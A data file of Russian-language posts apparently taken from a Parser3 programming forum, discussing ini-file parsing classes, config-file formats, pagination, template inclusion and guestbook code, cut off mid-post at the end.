"46474","Переименовал все lib.p в _lib.p и начал выдавать ошибку... Но где же я его подключаю - не нашел :("
"46475","В продолжение треда о работе с [url=\"http://www.parser.ru/forum/?id=46454\"]ini-файлами[/url] решил написать класс для работы с этими самыми файлами.\
\
У меня есть таблица групп (это то что в квадратных скобках: [группа]) и теперь мне нужно вырезать комментарий к группе если он есть. Т.е. строчку, что находится перед определением группы и начинается с решетки (например, в итоге я изменю на (#|//|\\\\\\\\), как и сделала ASharky)...\
\
[code]\
^groups.menu{\
	^str.match[\
		.+\
		\\#(.+)?\
		\\n\
		(\\[${groups.piece}\\])\
	][x]{\
		^result.append{$groups.piece	$match.1}\
	}\
}\
[/code]\
\
Такой код не находит комментарий к первой группе, т.е. находящийся в начале файла и вот из такого примера:\
\
[code]\
# комментарий к переменной\
variable = value\
\
[group2]\
[/code]\
\
Добавляет в таблицу такую строчку:\
\
[code]\
+--------+--------------------------+\
| group2 | комментарий к переменной |\
+--------+--------------------------+\
[/code]\
\
Хотя должен добавлять такую:\
\
[code]\
+--------+--+\
| group2 |  |\
+--------+--+\
[/code]"
"46478","[quot]...как и сделал[color=\"#ff0000\"]а[/color] ASharky)...[/quot]\
\
? Что за фигня?"
"46480","Читать реально не удобно с [x] :(\
\
[code]\
^groups.menu{\
	^str.match[.+#(.+)?\\n(\\[${groups.piece}\\])][s]{^result.append{$groups.piece	$match.1}}\
}\
[/code]\
\
Ну понятно, что \"не ловит\" комменты в начале строки: у тебя первым пунктом идёт '.+', а в начале строки стоит '#'"
"46481","ты как-то хитро задумал по несколько строк в одном оператора .match обрабатывать. Зачем? Не проще-ли привести всю строку (конф. файл .ini) к некому стандартизованному виду сперва? Вот этот код\
[code]\
$_str[^_str.match[[ \\t]*(#|//|\\\\\\\\).*\\n][gm]{^#0a}]\
$_str[^_str.match[[ \\t]+][gm]{ }]\
$_str[^_str.match[[ \\t]+^$][gm]{}]\
$_str[^_str.match[^^[ \\t]+][gm]{}]\
$_str[^_str.match[^^\\n][gm]{}]\
$_str[^_str.match[ ?= ?][gm]{^#09}]\
[/code]\
\"зачистит\" любой файл до удобно читаемого вида. Правктически сделает из него таблицу. Потом:\
[code]\
^_str.save[tmp.str]\
$_tab[^table::load[nameless][tmp.str]]\
^file:delete[tmp.str]\
[/code]\
и в $_tab у тебя уже есть стандартная nameless таблица. делай с ней что хошь дальше."
"46482","Вот рабочий кусок кода:\
\
[code]\
^groups.menu{\
	^str.match[^^(#(.+)?\\n)?(\\[${groups.piece}\\])][m]{^result.append{$groups.piece	$match.2}}\
}\
[/code]\
\
Добавляет группы, содержащие комментарии и не содержащие."
"46484","Что-то мы в параллель клепаем одно и тоже. А смысл? Может ты доделаешь класс 'ini'? Там надо-то всего:\
1.  ^get[param;section] - получение значения параметра $param из секции $section. Это уже сделано - в предыдущем треде про *.ini.\
2.  ^add[param;value;section] - добавление или (если уже есть!) изменение параметра $param со значением $value в секции $section. Проверить есть или нет можно предварительно вызвав ^get[$param;$section] Если параметр уже задан каким-либо значением, то тут конечно повозиться придется работая со строкой дабы не коверкать сильно каракули того админа, который писал конф.файл .ini ручками :( Ну то есть: надо \"поймать\" начало строки с параметром, определить где она заканчивается, и заменить в ней смтарое значение параметра на новое ($value). Потом \"собрать\" всю строку по новой и вывести в .ini файл. Не забыть все залочить на время операции дабы два админа не законфликтовали.\
\
Во всей этой афере не удасться пользоваться операторами типа ^строка.split[разделитель], потому как они на выходе создают парсер3-таблицы, а у нас в исходном .ini файле вполне могут быть табы в любом количестве. Ну да на то есть ^строка.pos[подстрока] :)\
\
3.  Ну и: ^delete[param;section] - удаление параметра $param из секции $section.\
\
Везде где $section не задана в явном виде подразумеваем секцию 'Default', например. ^if(!def $section){$section[Default]} в начале методов - всего делов-то.\
\
Наверное все. Замечательно получается упражнение на работу с плохо структурированными строками. После выполнения \"задания\":) можно будет лекции по регулярным выражениям читать. В том случае, если задание будет выполнено успешно, разумеется :)"
"46486","Вот что я уже сделал:\
\
1. Добавление группы.\
2. Добавление переменной в группу.\
3. Разбор ini-файла (надо будет еще поработать над многострочными комментариями...)\
4. Все это добро храниться в хэшэ.\
\
todo:\
\
1. Удаление :)\
\
Сейчас работаю над сохранением полученного хэша в стандартном ini-формате.\
\
Сегодня скорее всего не успею доделать, т.к. собираюсь уже скоро уходить домой, но завтра точно доделаю и выложу."
"46488","Имхо - этот пункт лишний. Зачем нам создавать заведомо пустые секции без параметров? Вполне достаточно ^add[param;value;section]. если секция уже есть - пихаем в неё. если нет, то тогда создавать и тут же в неё класть параметр.\
\
А у меня ни в каких хэшах ничего не хранится :) Зачем? Лучше привязаться к самому файлу, который либо создается, либо читается при выхзлва ^ini:create[file_ini_name;path_to_ini_file] Хэш был бы нужен, если у нас был многоуровневый .ini файл. Таблицы тоже не удобны, т.к. в самом файле есть табы. Остаются классы file и string ;)"
"46489","1. Не знаю, мне кажется проще и экономичнее при инициализации распарсить файл в хэш, поработать с ним: вывести, добавить, удалить переменные, а потом итоговый хэш скомпилировать в ini-файл :)\
\
2. Добавление групп сделал отдельно, т.к. сделал поддержку комментариев к группам. Впрочем объедению. Завтра. :)"
"46490","[quot]распарсить файл в хэш, поработать с ним: вывести, добавить, удалить переменные, а потом итоговый хэш скомпилировать в ini-файл :)[/quot]\
\
Чтобы сохранить изначальное форматирование ini файла, а оно, напомню!, достаточно не структурированно, это же сколько придется в хэш нюансов запихать? У админов фантазия может быть очень не тривиальная :) Либо: при компилировании из хэша в ini файл произойдёт потеря форматирования.\
\
Хэш - хорошо структурированный объект. Ini файл - объект \"эвристический\". Связать их воедино - тяжкий труд: надо практически мат.модель возможных фантазий рукотворца создать. Проще из не структурированного ini файла \"выдирать\" то что нам надо и только это менять, оставляя прочее без изменений. Имхо.\
ЗЫ. На самом деле у ini файла есть один совершенно четко определенный структурный элемент: любой параметр находится в одной строке между ^(.*)$. Вот отсюда и сплясать."
"46491","Кто-нибудь решал подобную задачу:\
\
Имеется \"сервер-раздатчик\". На нем выложены файлы некой системы (пусть будет CMS). Есть \"сервера-пользователи\". На них эта CMS крутится. Периодически, допустим раз в три часа, \"сервера-пользователи\" опрашивают \"сервер-раздатчик\" на предмет появления новых версий и новых файлов на нём. Если что-то появилось новенькое, происходит автоматический update CMS на \"сервере-пользователе\".\
\
В общем - auto_update :)"
"46492","и вообще какими программами вы пользуютесь при написании скриптов на парсере?"
"46493","Edit+ vs notepad.exe"
"46494","Не ругайтесь на меня пожалуйста, я пришла сюда опять тупить. Пыталась применить пример с навигацией, слишком сложно для меня оказалось. Не работает у меня. Элементарно\
\
[code]\
$book_count(^table::sql{\
	SELECT\
		COUNT(*)\
	FROM\
		gbook\
})\
[/code]\
\
Выдает $book_count=1, хотя записей в таблице 10. Не пойму почему...\
\
Хотела сделать элементарную навигацию, которая разбивала бы по 10 записей..."
"46496","[code]\
\
^use[visualization.p]\
\
$_tab[^table::sql{\
	SELECT\
		COUNT(*)\
	FROM\
		gbook\
}]\
\
^visualization:object[$_tab]\
\
[/code]\
\
Класс visualization можно взять на http://www.opensea.tv/parser3/\
\
Ну либо:\
[code]\
^_tab.save[tbl.txt]\
[/code]"
"46497","В вашем случае Вы получаете таблицу с одной записью\
\
Вам надо \
[code]\
$book_count(^int:sql{\
	SELECT\
		COUNT(*)\
	FROM\
		gbook\
\
})\
[/code]"
"46499","Какой редактор лучше использовать?"
"46500","Большие дяди правильно говорят, int:sql там.\
А так, простая навигация укладывается в 6 строк:\
[code]\
$onpage(10)\
$cnt(^int:sql{select count(*) from news})\
$now_page(^form:now_page.int(1))\
$total_pages(^math:ceiling($cnt / $onpage))\
$from(($now_page-1)*$onpage)\
$news[^table::sql{select * from news order by dt desc limit $onpage offset $from}]\
[/code]\
Изяществом кода не заморачивался. =)"
"46502","Файлы \"без секционные\".\
\
[code]\
###################################################################################################\
# $Id: ini.p,v 1.0 2005/11/06 23:40:00 asharky@opensea.ru Exp $\
###################################################################################################\
@CLASS\
iniFile\
\
\
\
\
\
@create[name;path][_string;_now]\
###################################################################################################\
$self.pathFile[^path.trim[end;/]/${name}.ini]\
^if(-f \"$pathFile\"){\
	$result[$self.CLASS]\
}{\
	$_now[^date::now[]]\
	$_string[# ${pathFile}. Created ^_now.sql-string[]^#0A]\
	^try{\
		^_string.save[$pathFile]\
		$result[$self.CLASS]\
	}{\
		$exception.handled(1)\
		$result[]\
	}\
}\
#end @create[]\
\
\
\
\
\
@get[param][_tab]\
###################################################################################################\
$_tab[^_search_string[^_get_string[];$param]]\
^if(^_tab.count[] != 0){$result[$_tab.4]}{$result[]}\
#end @get[]\
\
\
\
\
\
@add[param;value][_str;_tab]\
###################################################################################################\
^file:lock[ini.lock]{\
	$_str[^_get_string[]]\
	$_tab[^_search_string[$_str;$param]]\
	^if(^_tab.count[] != 0){\
		$_str[^_str.match[${_tab.1}${_tab.2}${_tab.3}${_tab.4}${_tab.5}][]{${_tab.1}${_tab.2}${_tab.3}${value}${_tab.5}}]\
	}{\
		$_str[${_str}${param} = ${value}^#0A]\
	}\
	^_put_string[$_str]\
}\
$result[]\
#end @add[]\
\
\
\
\
@del[param][_str;_tab]\
###################################################################################################\
^file:lock[ini.lock]{\
	$_str[^_get_string[]]\
	$_tab[^_search_string[$_str;$param]]\
	^if(^_tab.count[] != 0){\
		$_str[^_str.match[${_tab.1}${_tab.2}${_tab.3}${_tab.4}${_tab.5}][]{}]\
		^_put_string[$_str]\
	}\
}\
$result[]\
#end @del[]\
\
\
\
\
@_get_string[][_file;_str]\
###################################################################################################\
$_file[^file::load[text;$pathFile]]\
$_str[$_file.text]\
$result[^_str.match[\\t][g]{^#01}]\
#end @_get_string[]\
\
\
\
\
\
@_put_string[str]\
###################################################################################################\
$str[^str.match[\\x01][g]{^#09}]\
^str.save[$pathFile]\
$result[]\
#end @_put_string[]\
\
\
\
\
\
@_search_string[str;param]\
###################################################################################################\
$result[^str.match[^^([ \\x01]*)($param)([ \\x01]*=[ \\x01]*)([\\w]*)(.*\\n)][m]]\
#end @_search_string[]\
[/code]"
"46503","Поздняк метаться - я сделал: http://www.parser.ru/forum/?id=46502\
\
Правда без секций - да ну их в болото. Все равно подобный формат ini файлов применяется крайне редко, только когда делается система под начинающего админа, который знает ftp, FAR и привык к подобному формату настроек своей системы.\
\
ЗЫ. Красиво получилось - самому понравилось :)"
"46505","Попробуйте поиском по слову \"редактор\" пройтись. Неоднократно обсуждался уже этот вопрос - копья ломали потихоньку :)"
"46506","Написал на вскидку, не тестировал, но думаю, что логика понятна.\
parser_script.cfg:\
[code]\
# This is the parser_script configuration file\
# ....\
#param 0 is bla-bla-bla\
param0=\"value0\"\
#param 1 is bla-bla-bla\
param1=\"value1\"\
#param 2 is bla-bla-bla\
param2=\"value2\"\
[/code]\
\
Теперь читаем:\
\
[code]\
$config[^table::load[nameless;parser_script.cfg; \
   $.separator[=]\
   $.encloser[\"]\
]]\
# Делаем ^table.hash[] или любой другой вариант - по вкусу,\
# в зависимости от того, что хотим получить.\
[/code]"
"46507","Edit+ :))"
"46509","Тогда я пока не буду суетиться и дописывать свой вариант, тем более что ночью кое-какие идеи появились. Пока много текучки — нужно сверстать репертуар и еще что-то-непомню-уже-что, в общем полиграф.продукцию)))\
\
Я не хотел сохранять структуру файла исходной и в итоге сортирую по алфавиту (отдельно секции, отдельно переменные в секциях)\
\
А в хэш я распарсиваю чтобы можно было просто пользоваться переменыыми, например:\
\
[code]\
$ini[^ini::init[/main.ini]]\
# выводим переменную:\
$ini.config.section.variable\
# добавляем переменную:\
$ini.config.section.variable[value]\
[/code]\
\
Но при добавлении в новую секцию нужно будет сначала объявлять ее хэшэм:\
\
[code]\
$ini.config.section[^hash::create[]]\
$ini.config.section.variable[value]\
[/code]\
\
Так что я подумал что для добавления нужно написать метод:\
\
[code]\
# Добавление переменной:\
^ini.add[section;variable][value]\
# Удаление переменной:\
^ini.delete[section][variable]\
# (если не указана $variable — удаляется секция,\
#  если после удаления переменной осталась пустая секция — она удаляется\
[/code]\
\
В общем доделаю позже, уже не торопясь и не суетясь :)"
"46510","В данный момент пытаюсь нечто подобное организовать с репликацией БД. Т.е. есть основной сервер в который добавляются записи и на нем вручную правятся, и есть ведомые которые опрашивают основной и обновляют свои базы.\
На ведомых есть табличка со временем последнего обновления, если времени с последнего обновления мноко прошло, то срабатывает скриптик.\
Основная проблема в придумывании этих скриптов взаимодействия, я реализую через XML определенного содержания, с файлами думаю можно применять примерно тот же механизм."
"46511","Обновлять шаблоны в БД ререз форму:\
1 Лучше не стоит!\
2 Проверять перед insert xsl на create.\
3 Через загрузку временного файла."
"46512","Наверное, всетаки, прийдется собирать. :("
"46514","т.е. ответить на вопрос «из какого узла XML и каким шаблоном был создан данный узел в result tree»?\
\
этого в XSelerator, сюдя по описанию на его сайте, нету."
"46515","интересны любые полезные инструменты.\
всем, полагаю."
"46517","Требования к самому конфигурационному файлу - очень жесткие. Практически от админа требуется написать таблицу в формате Парсера! Шаг влево/вправо - сбой. Это не есть гуд.\
\
Мой же класс может работать и с такими файлами:\
====================================\
[code]\
# c.ini. Created 2005-11-05 19:27:23\
    #  dfklg dfg;sdgn;d\
param = 6\
\
\\\\ //d gh dfgh fhdfghdfghdfghfh\
     	\\\\ gfh fgh fgh fh sfhs\
par88 = deffghgfhdfghdfh\
\
\
par2	 =	888 	// f		   	hkgf\
\
\
  parm5	=	99	   	// sdjkfbsdjkfsbkfsbkdf\
	param4 = 		Новый-параметр!  	 // Комментарий.\
\
\
s dfgsd = 7	     	  \
egfeg = 77\
dfgd = jj\
par88 = uuu               Смешно, но это тоже комментарий :)\
dfgsdg 	=	 hjigkk 	\
dfg = 88\
sdvfsdn = 77345.nml\
dfg dfg= erg9egr\
	sfgadsfg = ergqe\
  sdfgefgf = aegagsd\
asgsg=asgsdfgad\
param4999991 = Новый_параметр_999991\
param499999 = Новый_параметр_999998\
[/code]\
====================================\
...при этом даже в случае изменения значений какого-либо параметра не затрагивает расположенные за ним комментарии, задание которых, кстати, не ограничивается префиксами #, \\\\ или // - могут располагаться просто через пробел или таб за значением параметра."
"46518","ИХМО, такие файлы редактируются очень редко, а вот считываются/обрабатываются при каждом запросе.\
\
Все зависит от требований к человеку редактирующему этот файл."
"46520","С моделями взаимодействия я поэкспериментировал и сделал так: время от времени \"ведомые\" запрашивают xml с описанием текущей конфигурации системы \"ведущего\". Если находят что-то отсутствующее у них - запрашивают удаленный скрипт и от него получают новые файлы, которые и раскладыают \"по местам дислокации\". В общем все весьма красиво можно сделать: и конфигурационный xml формировать автоматически, и скачивать позволять только зарегистрированным пользователям (через лоджин/пассворд), и обновлять саму \"систему обновления\". В общем - буду доделывать."
"46522","про file:list я тогда же ответил: это баг, поправлю к 3.1.5\
\
что до file::load «по-разному», не помню разговора.."
"46523","в нём есть возможность publish/subscribe, и можно организовать репликацию вообще без написания кода (понятно, в любом случае нужно продумать потенциальные конфликты)."
"46524","зачем \"могут располагаться просто через пробел или таб за значением параметра\"?\
\
а если значение параметра \"многословное\"?\
да и комментарии, отделенный спецзнаком проще видны при отладке..."
"46526","[quot]зачем \"могут располагаться просто через пробел или таб за значением параметра\"?[/quot]\
\
А админ так отделил параметр чтобы ему удобнее читать было. Вариант?\
\
[quot]а если значение параметра \"многословное\"?[/quot]\
\
Да, действительно. Тогда меняем строку\
[code]\
$result[^str.match[^^([ \\x01]*)($param)([ \\x01]*=[ \\x01]*)([\\w]*)(.*\\n)][m]]\
\
на \
\
$result[^str.match[^^([ \\x01]*)($param)([ \\x01]*=[ \\x01]*)([\\w\"]*)(.*\\n)][m]]\
[/code]\
а после этого \"многословные\" параметры обязываем ставить \"в кавычки\".\
\
[quot]да и комментарии, отделенный спецзнаком проще видны при отладке...[/quot]\
\
Согласен. Но лишний раз \"наказывать\" админа за то, что он \"не по правилам\" влепил комментарий, не резон.\
\
Итого: кому надо - тот воспользуется. А гадать на предмет \"а если\" не вижу более смысла. Если бы было хоть какое-то ТЗ, которое я либо не соблюл, либо расширил по собственному пониманию - можно спорить. А предполагать \"что будет если будет что-то...\" не вижу смысла. Например на вопрос: -\"А что будет, если админ напьется и забудет пароль к ftp,необходимый для доступа к редактированию ini файла?\", у меня нет и не будет ответа."
"46527","то же самое."
"46529","кто их обязал-то?\
считаю что если нужна скорость - то надо хранить настройки в родных для данного языка конструкциях. для парсер это файл с разделителями. и... разделители не обязательны должны быть символями табуляции.\
\
если нужно их часто править и это делать должен кто-то сторонний - xml вам в руки (двумя руками поддерживаю Sumo).\
\
а ini... не знаю для чего они нужны, разве что вы заходите написать Windows 3.0 WWW Edition и вам нужна будет обратная совместимость с её родными ini файлами :)\
\
[quot]\
...можно небрежно ручками править...\
[/quot]\
\
формат файла не спасет от того, что можно наворотить \"небрежно ручками\". к ручкам по любому должна прикладываться голова :)"
"46531","Михаил. В Конституции Вашей Великой Компании есть пункт о запрете старпёрства ( http://www.artlebedev.ru/studio/constitution/ п.20 ). Посему ты наверное уже и забыл, что в 90% Прочих Контор, старпёрство является непременным аттрибутом уклада и ведения дел. Вот на этот, 90%-й случай, я и сделал [b]iniFile[/b] класс."
"46532","Пишу\
[code]\
$dt[^date::now[]]\
^dt.roll[TZ;Asia/Omsk]\
^dt.sql-string[]\
[/code]\
получаю [b]несдвинутое[/b] время.\
\
Если сделать, например, так\
[code]\
$dt[^date::now[]]\
^dt.roll[TZ;Asia/Omsk]\
$dt.hour\
^dt.sql-string[]\
[/code]\
время сдвинуто\
\
Это баг или я не понял?"
"46533","примерный вариант решения -> http://www.parser.ru/forum/?id=46506\
\
имхо, простой и быстрый. \
\
В том же xml нужно бережно править конструкции. \
На мой взгляд, нельзя подстраховаться очень \"свободным\" форматом файлом конфига от пьяного админа, плохо понимающего что он делает.\
В данном случае задача - поправить несколько знаков не разрушив файл. Если админ не в состоянии ее выполнить, то бессмыслено вообще разрешать ему что-либо делать  с сайтом.\
\
Сколько видел софта на perl/php - практически весь использует схему $config_varible=\"value\";, после чего файл с кодом загружается с помощью include/require/etc."
"46535","каталогов нет, все в базе, красивые урл направляются mod_rewrite внутренним редиректом в единственый корневой файл index.html, где собственно и происходит запрос в базу и проч.\
А проблема заключается в том, как реализовать различные методы для конкретного раздела?\
Т.е. корневой [code]@body[][/code] должен отличаться по верстке, скажем, от [code]@body[][/code]  в разделе /products/.\
В данном случае, поскольку ни файлов, ни директорий не существует, то все собирается только из двух файлов - auto.p в /cgi-bin/ и корневого auto.p.\
Вот придумал тут такой вариант:\
[code]\
@load_auto[][components;str]\
$realuri[$request:uri] #Предполагаем, что пуста $env:QUERY_STRING\
$components[^realuri.split[/]]\
^components.menu{\
 ^if($components.piece ne \"\"){\
 $str[${str}/$components.piece]\
  ^if(-f \"${str}/auto.p\"){\
   ^use[${str}/auto.p]\
  }\
 }\
}\
[/code]\
\
Ну и вызываем этот метод в начале всей работы.\
Проверил, работает.\
Но при этом правда придется создать каталоги и файлы auto.p для тех разделов, где необходимы отличия от корневого auto.p.\
А можно еще как-нибудь это сделать, проще?\
Спасибо.\
Саша."
"46537","Ещё раз попытаюсь довести мысль :)\
\
Мне, как программисту, в общем-то фиолетово какими дожны быть конфигурационные файлы. Меня вполне устроит делать их. например, такими:\
[code]\
############################################\
# Пример файла left.menu.p\
\
$sMenuTemplate[$PARCMS_DIRECTORY/templates/\
\
$SITE_TEMPLATE_ID/left.menu_template.p]\
\
$aMenuLinks[\
	$.0[\
		$.0[Новости]\
		$.1[/1/news/]\
		$.2[\
			$.0[/1/news/world.html]\
			$.1[/1/news/sssr.html]\
			$.2[/1/news/petersburg.html]\
		]\
		$.3[\
			$.ALT[Новости магазина]\
			$.TITLE[Новости магазина ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/1/\"){$TRUE}{$FALSE}]\
	]\
	$.1[\
		$.0[Цены и скидки]\
		$.1[/1/cost/]\
		$.2[]\
		$.3[\
			$.ALT[Принципы формирования цен]\
			$.TITLE[Цены и скидки магазина ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/cost/\"){$TRUE}{$FALSE}]\
	]\
	$.2[\
		$.0[Способы покупки]\
		$.1[/1/howbuy/]\
		$.2[]\
		$.3[\
			$.ALT[Как купить?]\
			$.TITLE[Как можно совершать покупки в магазине ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/howbuy/\"){$TRUE}{$FALSE}]\
	]\
	$.3[\
		$.0[О компании]\
		$.1[/1/about/]\
		$.2[]\
		$.3[\
			$.ALT[О нас]\
			$.TITLE[Рассказ о компании ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/about/\"){$TRUE}{$FALSE}]\
	]\
	$.4[\
		$.0[Команда]\
		$.1[/1/team/]\
		$.2[]\
		$.3[\
			$.ALT[Мы]\
			$.TITLE[Команда ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/team/\"){$TRUE}{$FALSE}]\
	]\
	$.5[\
		$.0[Вакансии]\
		$.1[/1/vacation/]\
		$.2[]\
		$.3[\
			$.ALT[Карьера с нами]\
			$.TITLE[Вакансии компании ОТКРЫТОЕ МОРЕ]\
		]\
		$.4[^if(in \"/vacation/\"){$TRUE}{$FALSE}]\
	]\
]\
[/code]\
\
Но у меня возникла задача конфигурирования системы как из адм.интерфейса, так и, альтернативно, ручками по ftp. При этом человек, который будет работать через ftp + notepad, ничего не знает про язык Парсер3, хэши, особенности синтаксиса и т.п. вещи. И, на мой взгляд, с файлом указанным выше работать ему будет не тривиально. А со \"стандартным\" ini файлом он справится без каких-либо проблем. Отсюда и необходимость разработки \"человеко-читаемого\" конф. файла, который можно и \"ручками\" и через адм. интерфейс не задумываясь редактировать."
"46539","Их можно даже за пределами вэб пространства хранить: $DIR_TEMPLATES[/../templates]\
\
Ну и динамически их подключайте, в зависимости от запрашиваемой страницы.\
\
Для подключения (аналоги функций php):\
\
[code]\
@require[file][_fd]\
###################################################################################################\
# Оператор @require[]. Вызывает фатальную ошибку в случае отсутствия файла.\
^if(-f $file){\
	$_fd[^file::load[text;$file]]\
	$result[^process[$caller.self]{^taint[as-is][$_fd.text]}[$.file[$file]]]\
}{\
	$result[^throw[require.missing;$file missing;ERROR in ^^require[] operator]]\
}\
#end @require[]\
\
\
\
\
@include[file][_fd]\
###################################################################################################\
# Оператор @include[]. В случае отсутствия файла НЕ ВЫЗЫВАЕТ\
# фатальной ошибки, а только выводит предупреждение.\
#\
^if(-f $file){\
	$_fd[^file::load[text;$file]]\
	$result[^process[$caller.self]{^taint[as-is][$_fd.text]}[$.file[$file]]]\
}{\
	$result[^process[$caller.self]{<br><font color=\"red\"><b>Warning! Оператор ^^#5einclude[$file] не нашел файл!</b></font><br>}]\
}\
#end @include[]\
[/code]\
"
"46540","тогда вообще фиолетово, и csv или tab-delimited файлы - самое оно.\
ибо если есть административный интерфейс обычно это уже не конфигурационные файлы, и ЭТО очень редко будут лазить и править по ftp.\
\
а то что вы привели как \"конфигурационный файл\" - это КОД на парсере, а не файл с данными.\
\
P.S. в общем я продолжаю не понимать необходимости этого велосипеда с разширением \"ini\" на вебе."
"46541","Ну не знаю как объяснить :(\
\
http://www.artlebedev.ru/portfolio/optimus/ - клавиатура Optimus. Не понимаю, зачем она нужна нормальному пользователю? Программист, или ежедневный пользователь одного и того же пакета, уже через неделю запоминает все сочетания клавиш. А \"бытовой пользователь\" вообще не должен работать с алфавитно-цифровыми устройствами ввода - только с мышью. джойстиком, рулем-педалями и голосовым процессором - технологии же уже есть речевого ввода - так и запретим пользователю всякие анахронизмы вроде клавиатуры. Так ведь нет, нужна зачем-то Optimus :)\
\
У меня вот на ноуте вообще на кнопках нет никаких надписей. Очень, кстати, удобно: просят иной раз воспользоваться машиной, письмо там отправить и т.п., и я никогда никому не отказываю. Обламываются сами :)\
\
А мобила у меня МОТОРОЛЛА (не помню модель), но работает только на уховертку - тоже очень удобно. И в \"выездной\" загородной машине НИВА, только одна седуха оставлена - водительская :)\
\
Хммм. А может я жмот? :/"
"46542","Дык а не проще ли так как я описал или вы имеете ввиду что не нужно дополнительно директорий создавать и все храниться в templates?"
"46543","Вы же не делаете сайты рассчитанные только на последние версии браузеров? Учитываете и интересы тех пользователей, которые \"отстали\" в своих технологиях или им просто лень обновляться. Ну так и с ini файлами..."
"46544","про клавиатуру не удачный пример. программ - туча. и многих программ свои собственные назначения клавиш (особенно у игрушек), соответственно начать работать с программой, если она на клавиатуре будет выводить подсказки будет проще (ну... наверное, я не пробовал). хотя безусловно: тому кто <b>уже освоился</b> с программой эта подсветка будет наыфиг не нужна (как многим надписи на клавиатуре).\
\
P.S. связи с одним сиденьем, клавиатурой без надписей и ini файлами не уловил. есть только одна ассоциация - хорошая трава была :)"
"46545","в отдельных шаблонах. Легко дизайн поменять если что и т.п. Легко перенести наработки на другой сайт и т.п. и т.д. Ну и лишние директории плодить на фоне мод-реврайт и парсинга запросов - зачем? Тогда уж надо было бы делать все классически, распихивая всё по суб-директориям."
"46546","- frontend мы делаем для: IE5.0+, FF1.0+, Opera 7.5+ (никаких NN4, Opera 6 и меньше и IE до 5). это прописывается в ТЗ и сразу согласовывается с заказчиками. исключения бывают, но достаточно редко. бывают забавные казузы, например: сделали одной достаточно большой компании сайт который не работал в NN4, но как потом выяснилось в этой компании NN4 был корпоративным стандартом :)\
\
- backend: IE5.5, FF1.0, остальные курят бамбук."
"46547","[quot]...для: IE5.0+...[/quot] - но не пишете же в ТЗ, что \"не ниже шестой версии!\", хотя она уже вышла :)\
\
О чем вообще спорим, Михаил? Ну сделал и сделал. Никто ведь не обязан пользоваться из тех кто не хочет? Я не навязываю."
"46548","Хорошо, на php я так и делал. Попробую.\
Спасибо."
"46550","но они ничем не лучше файлов, которые читаются парсером и могут сохраняться тем-же excel-ем.\
\
именно для того я и вступил тут в дискуссию: чтобы если кому-то понядобятся файлы с конфигурациями и он вдруг воспользвется поиском, то обнаружит, что некоторые птицеводы категорически не согласны с тем, что ini файлы есть благо.\
\
если его задача действительно требует этих файлов - он возьмет ваш класс, а если наличие ini файлов не обязательно может он подумает в более модную сторону :)"
"46551","А не понял зачем тогда file::load использовать, если можно use применить. Все равно внутри шаблонов придется делать определенные вызовы каких-н. методов?\
Спасибо.\
Саша."
"46552","Собственно у меня все модули к сайту и обновления на подписчике ставятся через веб сервис. На подписчике - генерится xml server.xml файл содержащий в себе все названия + версии модулей ( файлик получается иногда достаточно большим, но из-за того что его модификация происходит достаточно редко затратами на его парсинг + сборку можно пренебречь), на сервере - веб сервис на .net, подписчик при подключении получает список доступных обновлений и модулей и потом через другой метод на сервере получает обновления/модули + происходит в это время изменение файлика server.xml. Доступность критических обновлений происходит каждый час и это нельзя изменить из админки + о них всегда висит напоминание в шапке страницы, периодичность получения инфы о некритических обновлениях настраивается, список доступных модулей получается  только при заходе в специальных раздел админки. Все работает шустренько и стабильно %)"
"46553","[color=\"#ff0000\"]ВОПРОС СНЯТ[/color]\
\
Как мне создать хеш такого вида, на основе календаря на заданную неделю месяца:\
[code]\
$week[ \
	$.days[ \
		$.1[число понедельника] \
		$.2[число вторника] \
		$.3[число среды] \
		$.3[число четверга] \
		$.3[число пятницы] \
		$.3[число субботы] \
		$.3[число воскресенья] \
	$.dmonth[ \
		$.1[месяц понедельника] \
		$.2[месяц вторника] \
		$.3[месяц среды] \
		$.3[месяц четверга] \
		$.3[месяц пятницы] \
		$.3[месяц субботы] \
		$.3[месяц воскресенья] \
] \
[/code]\
\
Пытался сделать что-то типа такого для чисел недели:\
[code]\
$now[^date::now[]] \
\
$week_of_month[^date:calendar[rus]($now.year;$now.month;$now.day)] \
\
$week_hash[^hash::create[]] \
^for[weekday](1;7){ \
	^week_of_month.menu{ \
		$week_hash.$weekday[$week_of_month.day] \
	} \
} \
[/code]\
\
И вывести пытался так:\
[code]$week_hash.1[/code]\
По идее должен показать число понедельника. Но показывает число воскресенья. :("
"46554","Возможно ли такое - IE'шный contenteditable работающий в режиме XML совместимости.\
Просьба бросить линк, на пример или хотя бы - указание где копать...\
А то получается, что тело html документа приходится хранить как cdata, а не как нормальный xml :("
"46555","При запросе из БД возникала ошибка с load, я поставил условие:\
\
[code]\
^if(def $form:text){}{\
^connect[$connect_string]{\
    \
    $objecttext[^table::sql{select\
    id, text\
    \
    from object\
    		where\
    id='$form:id'\
    \
    order by year\
   }]\
}\
}\
[/code]\
\
Все заработало. Только я не понял зачем нужен ^if?"
"46556","БД нужна для того, чтобы можно было [url=\"http://www.parser.ru/forum/?id=18520\"]заменить файл auto.p таблицей стилей[/url]."
"46558","Спасибо, дальше я сообразила, отладила работает, но есть одно \"но\":\
попыталась \"вживить в сайт\" и получаю\
\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
\
Ниже кусок кода, работает, но только без \
\
[code]\
^if(^form:sub.int(0) == 132 && ^form:n.int(0) == 0){} \
[/code]\
\
Не понимаю, почему эта строка вызывает такую бурю.\
[code]\
^if(^form:sub.int(0) == 132 && ^form:n.int(0) == 0){\
\
<br><br>\
$date[^date::now[]]\
<center>\
<form method=\"post\">\
<p>\
<br>Ваш отзыв:<br><textarea cols=\"50\" name=\"text\" rows=\"5\"></textarea><br><br>\
Автор:<sup>*</sup><input name=\"author\"> <br>\
E-mail:&nbsp;&nbsp;&nbsp;<input name=\"email\">\
</p>\
<p>\
<input type=\"submit\" value=\"Отправить\" name=\"post\">&nbsp;&nbsp;&nbsp;\
<input type=\"reset\" value=\"Отменить\">\
</p>\
</form>\
</center>\
<br>\
\
<hr size=\"1\" color=\"#000000\">\
\
^dbc{\
^if(def $form:post){\
   ^if(def $form:author){\
      ^dbc{\
         ^void:sql{insert into gbook\
            (author, email, date, body)\
         values (\
            '$form:author',\
            '$form:email',\
